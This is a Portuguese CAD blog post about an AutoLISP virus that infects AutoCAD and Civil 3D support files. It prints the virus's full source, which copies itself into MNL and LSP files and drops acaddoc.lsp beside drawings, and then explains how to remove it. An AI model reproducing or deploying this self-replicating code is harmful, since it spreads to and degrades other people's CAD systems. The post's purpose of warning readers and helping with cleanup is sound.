Virus de autolisp

É eu sei que o blog está parado de postagens e é só propaganda, heheheh

Então vamos lá, que assuntos vocês gostariam de ver?

Visual lisp?

.NET?

Civil 3D?

AutoCAD?

Dicas de desempenho?

Escolham ai!!!!

Também posso publicar seus posts aqui, com crédito e tudo mais, aliás, um dos posts com mais sucesso foi um camarada que mandou, é aquele das video aulas de topograph!!!

Bom, aproveitando...

Vocês experimentaram uma lentidão absurda na abertura de algum desenho aí no cad de vocês???

Perceberam a criação de um acad.lsp ou acaddoc.lsp na pasta que você abre??

Pois é, aqui no escritório o bicho tá pegando por causa disso....

Vírus em autolisp pro autocad, é mole??

O TI aqui está quase doido, mas também os usuários não ajudam...

O vírus se propaga ao se replicar dentro de arquivos LSP e MNL, criando ainda um acad.lsp ou acaddoc.lsp.

Os arquivos que ele costuma infectar também estão aqui:
C:\Users\seu usuário\AppData\Roaming\Autodesk\programa da autodesk\enu\Support\

E os arquivos são:


  • C3D.mnl, somente civil 3d
  • Civil.mnl, somente civil 3d
  • acetmain.mnl, express tools
  • AecArchxOE.mnl, somente civil 3d?
  • acad.mnl, qualquer autocad ou vertical
Claro que pode pegar outros...

Dá uma olhada no código fonte do mesmo:




(setq flagx t)

(
setq flagx t)
(
setq bz "(setq flagx t)")
(
defun app(source target bz / flag flag1 wjm wjm1 text)
  (
setq flag nil)
  (
setq flag1 t)
  (
if (findfile target)
    (
progn
      (setq wjm1 (open target "r"))
      (
while (setq text (read-line wjm1))
    (
if (= text bz) (setq flag1 nil))
    )
;while
      (close wjm1)
      )
;progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (
setq wjm1 (open target "a"))
      (
write-line (chr 13) wjm1)
      (
while (setq text (read-line wjm))
    (
if (= text bz) (setq flag t))
    (
if flag
      (progn
        (write-line text wjm1)
        )
;progn
      );if
    );while
      (close wjm1)
      (
close wjm)
      )
;progn
    );if
  );defun
(setvar "cmdecho" 0)
(
setq acadmnl (findfile "acad.mnl"))
(
setq acadmnlpath (vl-filename-directory acadmnl))
(
setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(
setq mnlnum (length mnlfilelist))
(
setq acadexe (findfile "acad.exe"))
(
setq acadpath (vl-filename-directory acadexe))
(
setq support (strcat acadpath "\\support"))
(
setq lspfilelist (vl-directory-files support "*.lsp"))
(
setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(
setq lspnum (length lspfilelist))
(
setq dwgname (getvar "dwgname"))
(
setq dwgpath (findfile dwgname))
(
if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (
setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (
setq mnln 0)
    (
while (< mnln mnlnum)
      (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (
app mnlfilename acaddocfile bz)
      (
app acaddocfile mnlfilename bz)
      (
setq mnln (1+ mnln))
      )
;while
    (setq lspn 0)
    (
while (< lspn lspnum)
      (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (
app lspfilename acaddocfile bz)
      (
app acaddocfile lspfilename bz)
      (
setq lspn (1+ lspn))
      )
;while
    );progn
  );if
(setq mnln 0)
(
while (< mnln mnlnum)
  (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (
setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app mnlfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while
  (setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app mnlfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln (1+ mnln))
  )
;while
(setq lspn 0)
(
while (< lspn lspnum)
  (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (
setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app lspfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app lspfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while




Nem vou comentar....

A ideia básica é, achou um dos arquivos, copia o fonte do vírus pra dentro dele... Quando o arquivo é carregado, uma nova cópia é copiada pra dentro do arquivo...

Bem besta esse vírus, pois ele só cria um arquivo que vai crescendo.... aqui costuma ficar em 8 MB aí os cabeças reclamam...
o cad abre leeeeennnnnnntooooo pois está criando trocentos arquivos de vírus...

Bom, a resolução é:

Abre os arquivos MNL e LSP e apaga esses trechos, ou simplesmente sobrepõe o arquivo com uma versão não contaminada e, claro, apague os acad.lsp e acaddoc.lsp que estão nas pastas dos arquivos... Pois o autocad carrega esses arquivos quando os encontra na pasta do desenho a abrir...

É isso!!!

LinkWithin

Related Posts Plugin for WordPress, Blogger...